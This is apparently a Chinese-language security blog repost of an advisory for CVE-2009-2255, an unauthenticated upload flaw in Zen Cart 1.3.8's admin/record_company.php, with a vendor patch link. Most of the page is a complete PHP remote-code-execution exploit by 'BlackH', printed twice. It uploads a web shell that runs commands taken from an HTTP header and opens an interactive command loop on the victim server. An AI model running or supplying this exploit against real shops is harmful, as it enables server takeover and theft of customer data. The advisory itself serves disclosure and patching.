Zen Cart record_company.php模块远程代码执行漏洞
2010年9月7日星期二 | | |发布日期：2009-06-23
更新日期：2009-07-02
受影响系统：
BUGTRAQ ID: 35467
CVE(CAN) ID: CVE-2009-2255
Zen Cart是一款免费开源的购物车软件。
Zen Cart没有对admin/record_company.php模块强制管理认证，远程攻击者可以通过record_company_image和 PATH_INFO参数上传.php文件，并通过直接请求images/中的文件来访问上传的文件，导致执行任意指令。
<*来源：BlackH （[email protected]）
链接：http://secunia.com/advisories/35550/
*>
测试方法：
<?php
#
# ------- Zen Cart 1.3.8 Remote Code Execution
# http://www.zen-cart.com/
# Zen Cart Ecommerce - putting the dream of server rooting within reach of anyone!
# A new version (1.3.8a) is avaible on http://www.zen-cart.com/
#
# BlackH :)
#
error_reporting(E_ALL ^ E_NOTICE);
if($argc < 2)
{
echo "
=___________ Zen Cart 1.3.8 Remote Code Execution Exploit ____________=
========================================================================
| BlackH <[email protected]> |
========================================================================
| |
| \$system> php $argv[0] <url> |
| Notes: <url> ex: http://victim.com/site (no slash) |
| |
========================================================================
";exit(1);
}
$url = $argv[1];
$trick = "/password_forgotten.php";
$xpl = new phpsploit();
$xpl->agent("Mozilla Firefox");
$real_kthxbye = remote_exec($url);
# Remote Code Execution Exploit
function remote_exec($url) {
global $xpl, $url, $trick;
echo "\n[-] Remote Code Execution";
if(!$xpl->get($url.'/admin/')) die("\n[!] error - the /admin/ directory is protected or don't exist.\n");
$n = substr(md5(rand(0, 1337)), 0, 5).".php"; # random php file
$code = '<?php system($_SERVER["HTTP_SHELL"]); ?>';
$form = array(frmdt_url => $url."/admin/record_company.php".$trick."?action=insert",
"record_company_name" => "0",
"record_company_image" => array(frmdt_type => "tgreal/suce", # it works ! o_O
frmdt_filename => $n,
frmdt_content => $code));
if($xpl->formdata($form)) echo "\n[!] Done - Start Shell: ".$n;
else die("\n[!] error - can't upload the shell\n");
print "\nrce@jah\$> ";
while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN))))){
$xpl->addheader('SHELL',$cmd);
$xpl->get($url.'/images/'.$n);
print $xpl->getcontent()."\nrce@jah$> ";
# don't forget to "rm *.php" and exit
# you can use "Zen Cart 1.3.8 Remote SQL Execution Exploit"
# to clean the database (record_company & record_company_info)
}
}
class phpsploit
{
var $proxyhost;
var $proxyport;
var $host;
var $path;
var $port;
var $method;
var $url;
var $packet;
var $proxyuser;
var $proxypass;
var $header;
var $cookie;
var $data;
var $boundary;
var $allowredirection;
var $last_redirection;
var $cookiejar;
var $recv;
var $cookie_str;
var $header_str;
var $server_content;
var $server_header;
/**
* This function is called by the
* get()/post()/formdata() functions.
* You don't have to call it, this is
* the main function.
*
* @access private
* @return string $this->recv ServerResponse
*
*/
function sock()
{
if(!empty($this->proxyhost) && !empty($this->proxyport))
$socket = @fsockopen($this->proxyhost,$this->proxyport);
else
$socket = @fsockopen($this->host,$this->port);
if(!$socket)
die("Error: Host seems down");
if($this->method=='get')
$this->packet = 'GET '.$this->url." HTTP/1.1\r\n";
elseif($this->method=='post' or $this->method=='formdata')
$this->packet = 'POST '.$this->url." HTTP/1.1\r\n";
else
die("Error: Invalid method");
if(!empty($this->proxyuser))
$this->packet .= 'Proxy-Authorization: Basic '.base64_encode($this->proxyuser.':'.$this->proxypass)."\r\n";
if(!empty($this->header))
$this->packet .= $this->showheader();
if(!empty($this->cookie))
$this->packet .= 'Cookie: '.$this->showcookie()."\r\n";
$this->packet .= 'Host: '.$this->host."\r\n";
$this->packet .= "Connection: Close\r\n";
if($this->method=='post')
{
$this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";
$this->packet .= $this->data."\r\n";
}
elseif($this->method=='formdata')
{
$this->packet .= 'Content-Type: multipart/form-data; boundary='.str_repeat('-',27).$this->boundary."\r\n";
$this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";
$this->packet .= $this->data;
}
$this->packet .= "\r\n";
$this->recv = '';
fputs($socket,$this->packet);
while(!feof($socket))
$this->recv .= fgets($socket);
fclose($socket);
if($this->cookiejar)
$this->getcookie();
if($this->allowredirection)
return $this->getredirection();
else
return $this->recv;
}
/**
* This function allows you to add several
* cookies in the request.
*
* @access public
* @param string cookn CookieName
* @param string cookv CookieValue
* @example $this->addcookie('name','value')
*
*/
function addcookie($cookn,$cookv)
{
if(!isset($this->cookie))
$this->cookie = array();
$this->cookie[$cookn] = $cookv;
}
/**
* This function allows you to add several
* headers in the request.
*
* @access public
* @param string headern HeaderName
* @param string headervalue Headervalue
* @example $this->addheader('Client-IP', '128.5.2.3')
*
*/
function addheader($headern,$headervalue)
{
if(!isset($this->header))
$this->header = array();
$this->header[$headern] = $headervalue;
}
/**
* This function allows you to use an
* http proxy server. Several methods
* are supported.
*
* @access public
* @param string proxy ProxyHost
* @param integer proxyp ProxyPort
* @example $this->proxy('localhost',8118)
* @example $this->proxy('localhost:8118')
*
*/
function proxy($proxy,$proxyp='')
{
if(empty($proxyp))
{
$proxarr = explode(':',$proxy);
$this->proxyhost = $proxarr[0];
$this->proxyport = (int)$proxarr[1];
}
else
{
$this->proxyhost = $proxy;
$this->proxyport = (int)$proxyp;
}
if($this->proxyport > 65535)
die("Error: Invalid port number");
}
/**
* This function allows you to use an
* http proxy server which requires a
* basic authentification. Several
* methods are supported:
*
* @access public
* @param string proxyauth ProxyUser
* @param string proxypass ProxyPass
* @example $this->proxyauth('user','pwd')
* @example $this->proxyauth('user:pwd');
*
*/
function proxyauth($proxyauth,$proxypass='')
{
if(empty($proxypass))
{
$posvirg = strpos($proxyauth,':');
$this->proxyuser = substr($proxyauth,0,$posvirg);
$this->proxypass = substr($proxyauth,$posvirg+1);
}
else
{
$this->proxyuser = $proxyauth;
$this->proxypass = $proxypass;
}
}
/**
* This function allows you to set
* the 'User-Agent' header.
*
* @access public
* @param string useragent Agent
* @example $this->agent('Firefox')
*
*/
function agent($useragent)
{
$this->addheader('User-Agent',$useragent);
}
/**
* This function returns the headers
* which will be in the next request.
*
* @access public
* @return string $this->header_str Headers
* @example $this->showheader()
*
*/
function showheader()
{
$this->header_str = '';
if(!isset($this->header))
return;
foreach($this->header as $name => $value)
$this->header_str .= $name.': '.$value."\r\n";
return $this->header_str;
}
/**
* This function returns the cookies
* which will be in the next request.
*
* @access public
* @return string $this->cookie_str Cookies
* @example $this->showcookie()
*
*/
function showcookie()
{
$this->cookie_str = '';
if(!isset($this->cookie))
return;
foreach($this->cookie as $name => $value)
$this->cookie_str .= $name.'='.$value.'; ';
return $this->cookie_str;
}
/**
* This function returns the last
* formed http request.
*
* @access public
* @return string $this->packet HttpPacket
* @example $this->showlastrequest()
*
*/
function showlastrequest()
{
if(!isset($this->packet))
return;
else
return $this->packet;
}
/**
* This function sends the formed
* http packet with the GET method.
*
* @access public
* @param string url Url
* @return string $this->sock()
* @example $this->get('localhost/index.php?var=x')
* @example $this->get('http://localhost:88/tst.php')
*
*/
function get($url)
{
$this->target($url);
$this->method = 'get';
return $this->sock();
}
/**
* This function sends the formed
* http packet with the POST method.
*
* @access public
* @param string url Url
* @param string data PostData
* @return string $this->sock()
* @example $this->post('http://localhost/','helo=x')
*
*/
function post($url,$data)
{
$this->target($url);
$this->method = 'post';
$this->data = $data;
return $this->sock();
}
/**
* This function sends the formed http
* packet with the POST method using
* the multipart/form-data enctype.
*
* @access public
* @param array array FormDataArray
* @return string $this->sock()
* @example $formdata = array(
* frmdt_url => 'http://localhost/upload.php',
* frmdt_boundary => '123456', # Optional
* 'var' => 'example',
* 'file' => array(
* frmdt_type => 'image/gif', # Optional
* frmdt_transfert => 'binary' # Optional
* frmdt_filename => 'hello.php,
* frmdt_content => '<?php echo 1; ?>'));
* $this->formdata($formdata);
*
*/
function formdata($array)
{
$this->target($array[frmdt_url]);
$this->method = 'formdata';
$this->data = '';
if(!isset($array[frmdt_boundary]))
$this->boundary = 'phpsploit';
else
$this->boundary = $array[frmdt_boundary];
foreach($array as $key => $value)
{
if(!preg_match('#^frmdt_(boundary|url)#',$key))
{
$this->data .= str_repeat('-',29).$this->boundary."\r\n";
$this->data .= 'Content-Disposition: form-data; name="'.$key.'";';
if(!is_array($value))
{
$this->data .= "\r\n\r\n".$value."\r\n";
}
else
{
$this->data .= ' filename="'.$array[$key][frmdt_filename]."\";\r\n";
if(isset($array[$key][frmdt_type]))
$this->data .= 'Content-Type: '.$array[$key][frmdt_type]."\r\n";
if(isset($array[$key][frmdt_transfert]))
$this->data .= 'Content-Transfer-Encoding: '.$array[$key][frmdt_transfert]."\r\n";
$this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";
}
}
}
$this->data .= str_repeat('-',29).$this->boundary."--\r\n";
return $this->sock();
}
/**
* This function returns the content
* of the server response, without
* the headers.
*
* @access public
* @param string code ServerResponse
* @return string $this->server_content
* @example $this->getcontent()
* @example $this->getcontent($this->get('http://localhost/'))
*
*/
function getcontent($code='')
{
if(empty($code))
$code = $this->recv;
$code = explode("\r\n\r\n",$code);
$this->server_content = '';
for($i=1;$i<count($code);$i++)
$this->server_content .= $code[$i];
return $this->server_content;
}
/**
* This function returns the headers
* of the server response, without
* the content.
*
* @access public
* @param string code ServerResponse
* @return string $this->server_header
* @example $this->getcontent()
* @example $this->getcontent($this->post('http://localhost/','1=2'))
*
*/
function getheader($code='')
{
if(empty($code))
$code = $this->recv;
$code = explode("\r\n\r\n",$code);
$this->server_header = $code[0];
return $this->server_header;
}
/**
* This function is called by the
* cookiejar() function. It adds the
* value of the "Set-Cookie" header
* in the "Cookie" header for the
* next request. You don't have to
* call it.
*
* @access private
* @param string code ServerResponse
*
*/
function getcookie()
{
foreach(explode("\r\n",$this->getheader()) as $header)
{
if(preg_match('/set-cookie/i',$header))
{
$fequal = strpos($header,'=');
$fvirgu = strpos($header,';');
// 12=strlen('set-cookie: ')
$cname = substr($header,12,$fequal-12);
$cvalu = substr($header,$fequal+1,$fvirgu-(strlen($cname)+12+1));
$this->cookie[trim($cname)] = trim($cvalu);
}
}
}
/**
* This function is called by the
* get()/post() functions. You
* don't have to call it.
*
* @access private
* @param string urltarg Url
* @example $this->target('http://localhost/')
*
*/
function target($urltarg)
{
if(!ereg('^http://',$urltarg))
$urltarg = 'http://'.$urltarg;
$urlarr = parse_url($urltarg);
$this->url = 'http://'.$urlarr['host'].$urlarr['path'];
if(isset($urlarr['query']))
$this->url .= '?'.$urlarr['query'];
$this->port = !empty($urlarr['port']) ? $urlarr['port'] : 80;
$this->host = $urlarr['host'];
if($this->port != '80')
$this->host .= ':'.$this->port;
if(!isset($urlarr['path']) or empty($urlarr['path']))
die("Error: No path precised");
$this->path = substr($urlarr['path'],0,strrpos($urlarr['path'],'/')+1);
if($this->port > 65535)
die("Error: Invalid port number");
}
/**
* If you call this function,
* the script will extract all
* 'Set-Cookie' headers values
* and it will automatically add
* them into the 'Cookie' header
* for all next requests.
*
* @access public
* @param integer code 1(enabled) 0(disabled)
* @example $this->cookiejar(0)
* @example $this->cookiejar(1)
*
*/
function cookiejar($code)
{
if($code=='0')
$this->cookiejar=FALSE;
elseif($code=='1')
$this->cookiejar=TRUE;
}
/**
* If you call this function,
* the script will follow all
* redirections sent by the server.
*
* @access public
* @param integer code 1(enabled) 0(disabled)
* @example $this->allowredirection(0)
* @example $this->allowredirection(1)
*
*/
function allowredirection($code)
{
if($code=='0')
$this->allowredirection=FALSE;
elseif($code=='1')
$this->allowredirection=TRUE;
}
/**
* This function is called if
* allowredirection() is enabled.
* You don't have to call it.
*
* @access private
* @return string $this->get('http://'.$this->host.$this->path.$this->last_redirection)
* @return string $this->get($this->last_redirection)
* @return string $this->recv;
*
*/
function getredirection()
{
if(preg_match('/(location|content-location|uri): (.*)/i',$this->getheader(),$codearr))
{
$this->last_redirection = trim($codearr[2]);
if(!ereg('://',$this->last_redirection))
return $this->get('http://'.$this->host.$this->path.$this->last_redirection);
else
return $this->get($this->last_redirection);
}
else
return $this->recv;
}
/**
* This function allows you
* to reset some parameters.
*
* @access public
* @param string func Param
* @example $this->reset('header')
* @example $this->reset('cookie')
* @example $this->reset()
*
*/
function reset($func='')
{
switch($func)
{
case 'header':
$this->header = array('');
break;
case 'cookie':
$this->cookie = array('');
break;
default:
$this->cookiejar = '';
$this->header = array('');
$this->cookie = array('');
$this->allowredirection = '';
break;
}
}
}
?>
建议：
厂商补丁：
Zen Ventures
------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://www.zen-cart.com/forum/showthread.php?t=130161
更新日期：2009-07-02
受影响系统：
Zen Ventures Zen Cart 1.3.8描述：
BUGTRAQ ID: 35467
CVE(CAN) ID: CVE-2009-2255
Zen Cart是一款免费开源的购物车软件。
Zen Cart没有对admin/record_company.php模块强制管理认证，远程攻击者可以通过record_company_image和 PATH_INFO参数上传.php文件，并通过直接请求images/中的文件来访问上传的文件，导致执行任意指令。
<*来源：BlackH （[email protected]）
链接：http://secunia.com/advisories/35550/
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<?php
#
# ------- Zen Cart 1.3.8 Remote Code Execution
# http://www.zen-cart.com/
# Zen Cart Ecommerce - putting the dream of server rooting within reach of anyone!
# A new version (1.3.8a) is avaible on http://www.zen-cart.com/
#
# BlackH :)
#
error_reporting(E_ALL ^ E_NOTICE);
if($argc < 2)
{
echo "
=___________ Zen Cart 1.3.8 Remote Code Execution Exploit ____________=
========================================================================
| BlackH <[email protected]> |
========================================================================
| |
| \$system> php $argv[0] <url> |
| Notes: <url> ex: http://victim.com/site (no slash) |
| |
========================================================================
";exit(1);
}
$url = $argv[1];
$trick = "/password_forgotten.php";
$xpl = new phpsploit();
$xpl->agent("Mozilla Firefox");
$real_kthxbye = remote_exec($url);
# Remote Code Execution Exploit
function remote_exec($url) {
global $xpl, $url, $trick;
echo "\n[-] Remote Code Execution";
if(!$xpl->get($url.'/admin/')) die("\n[!] error - the /admin/ directory is protected or don't exist.\n");
$n = substr(md5(rand(0, 1337)), 0, 5).".php"; # random php file
$code = '<?php system($_SERVER["HTTP_SHELL"]); ?>';
$form = array(frmdt_url => $url."/admin/record_company.php".$trick."?action=insert",
"record_company_name" => "0",
"record_company_image" => array(frmdt_type => "tgreal/suce", # it works ! o_O
frmdt_filename => $n,
frmdt_content => $code));
if($xpl->formdata($form)) echo "\n[!] Done - Start Shell: ".$n;
else die("\n[!] error - can't upload the shell\n");
print "\nrce@jah\$> ";
while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN))))){
$xpl->addheader('SHELL',$cmd);
$xpl->get($url.'/images/'.$n);
print $xpl->getcontent()."\nrce@jah$> ";
# don't forget to "rm *.php" and exit
# you can use "Zen Cart 1.3.8 Remote SQL Execution Exploit"
# to clean the database (record_company & record_company_info)
}
}
class phpsploit
{
var $proxyhost;
var $proxyport;
var $host;
var $path;
var $port;
var $method;
var $url;
var $packet;
var $proxyuser;
var $proxypass;
var $header;
var $cookie;
var $data;
var $boundary;
var $allowredirection;
var $last_redirection;
var $cookiejar;
var $recv;
var $cookie_str;
var $header_str;
var $server_content;
var $server_header;
/**
* This function is called by the
* get()/post()/formdata() functions.
* You don't have to call it, this is
* the main function.
*
* @access private
* @return string $this->recv ServerResponse
*
*/
function sock()
{
if(!empty($this->proxyhost) && !empty($this->proxyport))
$socket = @fsockopen($this->proxyhost,$this->proxyport);
else
$socket = @fsockopen($this->host,$this->port);
if(!$socket)
die("Error: Host seems down");
if($this->method=='get')
$this->packet = 'GET '.$this->url." HTTP/1.1\r\n";
elseif($this->method=='post' or $this->method=='formdata')
$this->packet = 'POST '.$this->url." HTTP/1.1\r\n";
else
die("Error: Invalid method");
if(!empty($this->proxyuser))
$this->packet .= 'Proxy-Authorization: Basic '.base64_encode($this->proxyuser.':'.$this->proxypass)."\r\n";
if(!empty($this->header))
$this->packet .= $this->showheader();
if(!empty($this->cookie))
$this->packet .= 'Cookie: '.$this->showcookie()."\r\n";
$this->packet .= 'Host: '.$this->host."\r\n";
$this->packet .= "Connection: Close\r\n";
if($this->method=='post')
{
$this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";
$this->packet .= $this->data."\r\n";
}
elseif($this->method=='formdata')
{
$this->packet .= 'Content-Type: multipart/form-data; boundary='.str_repeat('-',27).$this->boundary."\r\n";
$this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";
$this->packet .= $this->data;
}
$this->packet .= "\r\n";
$this->recv = '';
fputs($socket,$this->packet);
while(!feof($socket))
$this->recv .= fgets($socket);
fclose($socket);
if($this->cookiejar)
$this->getcookie();
if($this->allowredirection)
return $this->getredirection();
else
return $this->recv;
}
/**
* This function allows you to add several
* cookies in the request.
*
* @access public
* @param string cookn CookieName
* @param string cookv CookieValue
* @example $this->addcookie('name','value')
*
*/
function addcookie($cookn,$cookv)
{
if(!isset($this->cookie))
$this->cookie = array();
$this->cookie[$cookn] = $cookv;
}
/**
* This function allows you to add several
* headers in the request.
*
* @access public
* @param string headern HeaderName
* @param string headervalue Headervalue
* @example $this->addheader('Client-IP', '128.5.2.3')
*
*/
function addheader($headern,$headervalue)
{
if(!isset($this->header))
$this->header = array();
$this->header[$headern] = $headervalue;
}
/**
* This function allows you to use an
* http proxy server. Several methods
* are supported.
*
* @access public
* @param string proxy ProxyHost
* @param integer proxyp ProxyPort
* @example $this->proxy('localhost',8118)
* @example $this->proxy('localhost:8118')
*
*/
function proxy($proxy,$proxyp='')
{
if(empty($proxyp))
{
$proxarr = explode(':',$proxy);
$this->proxyhost = $proxarr[0];
$this->proxyport = (int)$proxarr[1];
}
else
{
$this->proxyhost = $proxy;
$this->proxyport = (int)$proxyp;
}
if($this->proxyport > 65535)
die("Error: Invalid port number");
}
/**
* This function allows you to use an
* http proxy server which requires a
* basic authentification. Several
* methods are supported:
*
* @access public
* @param string proxyauth ProxyUser
* @param string proxypass ProxyPass
* @example $this->proxyauth('user','pwd')
* @example $this->proxyauth('user:pwd');
*
*/
function proxyauth($proxyauth,$proxypass='')
{
if(empty($proxypass))
{
$posvirg = strpos($proxyauth,':');
$this->proxyuser = substr($proxyauth,0,$posvirg);
$this->proxypass = substr($proxyauth,$posvirg+1);
}
else
{
$this->proxyuser = $proxyauth;
$this->proxypass = $proxypass;
}
}
/**
* This function allows you to set
* the 'User-Agent' header.
*
* @access public
* @param string useragent Agent
* @example $this->agent('Firefox')
*
*/
function agent($useragent)
{
$this->addheader('User-Agent',$useragent);
}
/**
* This function returns the headers
* which will be in the next request.
*
* @access public
* @return string $this->header_str Headers
* @example $this->showheader()
*
*/
function showheader()
{
$this->header_str = '';
if(!isset($this->header))
return;
foreach($this->header as $name => $value)
$this->header_str .= $name.': '.$value."\r\n";
return $this->header_str;
}
/**
* This function returns the cookies
* which will be in the next request.
*
* @access public
* @return string $this->cookie_str Cookies
* @example $this->showcookie()
*
*/
function showcookie()
{
$this->cookie_str = '';
if(!isset($this->cookie))
return;
foreach($this->cookie as $name => $value)
$this->cookie_str .= $name.'='.$value.'; ';
return $this->cookie_str;
}
/**
* This function returns the last
* formed http request.
*
* @access public
* @return string $this->packet HttpPacket
* @example $this->showlastrequest()
*
*/
function showlastrequest()
{
if(!isset($this->packet))
return;
else
return $this->packet;
}
/**
* This function sends the formed
* http packet with the GET method.
*
* @access public
* @param string url Url
* @return string $this->sock()
* @example $this->get('localhost/index.php?var=x')
* @example $this->get('http://localhost:88/tst.php')
*
*/
function get($url)
{
$this->target($url);
$this->method = 'get';
return $this->sock();
}
/**
* This function sends the formed
* http packet with the POST method.
*
* @access public
* @param string url Url
* @param string data PostData
* @return string $this->sock()
* @example $this->post('http://localhost/','helo=x')
*
*/
function post($url,$data)
{
$this->target($url);
$this->method = 'post';
$this->data = $data;
return $this->sock();
}
/**
* This function sends the formed http
* packet with the POST method using
* the multipart/form-data enctype.
*
* @access public
* @param array array FormDataArray
* @return string $this->sock()
* @example $formdata = array(
* frmdt_url => 'http://localhost/upload.php',
* frmdt_boundary => '123456', # Optional
* 'var' => 'example',
* 'file' => array(
* frmdt_type => 'image/gif', # Optional
* frmdt_transfert => 'binary' # Optional
* frmdt_filename => 'hello.php,
* frmdt_content => '<?php echo 1; ?>'));
* $this->formdata($formdata);
*
*/
function formdata($array)
{
$this->target($array[frmdt_url]);
$this->method = 'formdata';
$this->data = '';
if(!isset($array[frmdt_boundary]))
$this->boundary = 'phpsploit';
else
$this->boundary = $array[frmdt_boundary];
foreach($array as $key => $value)
{
if(!preg_match('#^frmdt_(boundary|url)#',$key))
{
$this->data .= str_repeat('-',29).$this->boundary."\r\n";
$this->data .= 'Content-Disposition: form-data; name="'.$key.'";';
if(!is_array($value))
{
$this->data .= "\r\n\r\n".$value."\r\n";
}
else
{
$this->data .= ' filename="'.$array[$key][frmdt_filename]."\";\r\n";
if(isset($array[$key][frmdt_type]))
$this->data .= 'Content-Type: '.$array[$key][frmdt_type]."\r\n";
if(isset($array[$key][frmdt_transfert]))
$this->data .= 'Content-Transfer-Encoding: '.$array[$key][frmdt_transfert]."\r\n";
$this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";
}
}
}
$this->data .= str_repeat('-',29).$this->boundary."--\r\n";
return $this->sock();
}
/**
* This function returns the content
* of the server response, without
* the headers.
*
* @access public
* @param string code ServerResponse
* @return string $this->server_content
* @example $this->getcontent()
* @example $this->getcontent($this->get('http://localhost/'))
*
*/
function getcontent($code='')
{
if(empty($code))
$code = $this->recv;
$code = explode("\r\n\r\n",$code);
$this->server_content = '';
for($i=1;$i<count($code);$i++)
$this->server_content .= $code[$i];
return $this->server_content;
}
/**
* This function returns the headers
* of the server response, without
* the content.
*
* @access public
* @param string code ServerResponse
* @return string $this->server_header
* @example $this->getcontent()
* @example $this->getcontent($this->post('http://localhost/','1=2'))
*
*/
function getheader($code='')
{
if(empty($code))
$code = $this->recv;
$code = explode("\r\n\r\n",$code);
$this->server_header = $code[0];
return $this->server_header;
}
/**
* This function is called by the
* cookiejar() function. It adds the
* value of the "Set-Cookie" header
* in the "Cookie" header for the
* next request. You don't have to
* call it.
*
* @access private
* @param string code ServerResponse
*
*/
function getcookie()
{
foreach(explode("\r\n",$this->getheader()) as $header)
{
if(preg_match('/set-cookie/i',$header))
{
$fequal = strpos($header,'=');
$fvirgu = strpos($header,';');
// 12=strlen('set-cookie: ')
$cname = substr($header,12,$fequal-12);
$cvalu = substr($header,$fequal+1,$fvirgu-(strlen($cname)+12+1));
$this->cookie[trim($cname)] = trim($cvalu);
}
}
}
/**
* This function is called by the
* get()/post() functions. You
* don't have to call it.
*
* @access private
* @param string urltarg Url
* @example $this->target('http://localhost/')
*
*/
function target($urltarg)
{
if(!ereg('^http://',$urltarg))
$urltarg = 'http://'.$urltarg;
$urlarr = parse_url($urltarg);
$this->url = 'http://'.$urlarr['host'].$urlarr['path'];
if(isset($urlarr['query']))
$this->url .= '?'.$urlarr['query'];
$this->port = !empty($urlarr['port']) ? $urlarr['port'] : 80;
$this->host = $urlarr['host'];
if($this->port != '80')
$this->host .= ':'.$this->port;
if(!isset($urlarr['path']) or empty($urlarr['path']))
die("Error: No path precised");
$this->path = substr($urlarr['path'],0,strrpos($urlarr['path'],'/')+1);
if($this->port > 65535)
die("Error: Invalid port number");
}
/**
* If you call this function,
* the script will extract all
* 'Set-Cookie' headers values
* and it will automatically add
* them into the 'Cookie' header
* for all next requests.
*
* @access public
* @param integer code 1(enabled) 0(disabled)
* @example $this->cookiejar(0)
* @example $this->cookiejar(1)
*
*/
function cookiejar($code)
{
if($code=='0')
$this->cookiejar=FALSE;
elseif($code=='1')
$this->cookiejar=TRUE;
}
/**
* If you call this function,
* the script will follow all
* redirections sent by the server.
*
* @access public
* @param integer code 1(enabled) 0(disabled)
* @example $this->allowredirection(0)
* @example $this->allowredirection(1)
*
*/
function allowredirection($code)
{
if($code=='0')
$this->allowredirection=FALSE;
elseif($code=='1')
$this->allowredirection=TRUE;
}
/**
* This function is called if
* allowredirection() is enabled.
* You don't have to call it.
*
* @access private
* @return string $this->get('http://'.$this->host.$this->path.$this->last_redirection)
* @return string $this->get($this->last_redirection)
* @return string $this->recv;
*
*/
function getredirection()
{
if(preg_match('/(location|content-location|uri): (.*)/i',$this->getheader(),$codearr))
{
$this->last_redirection = trim($codearr[2]);
if(!ereg('://',$this->last_redirection))
return $this->get('http://'.$this->host.$this->path.$this->last_redirection);
else
return $this->get($this->last_redirection);
}
else
return $this->recv;
}
/**
* This function allows you
* to reset some parameters.
*
* @access public
* @param string func Param
* @example $this->reset('header')
* @example $this->reset('cookie')
* @example $this->reset()
*
*/
function reset($func='')
{
switch($func)
{
case 'header':
$this->header = array('');
break;
case 'cookie':
$this->cookie = array('');
break;
default:
$this->cookiejar = '';
$this->header = array('');
$this->cookie = array('');
$this->allowredirection = '';
break;
}
}
}
?>
建议：
厂商补丁：
Zen Ventures
------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://www.zen-cart.com/forum/showthread.php?t=130161
博文
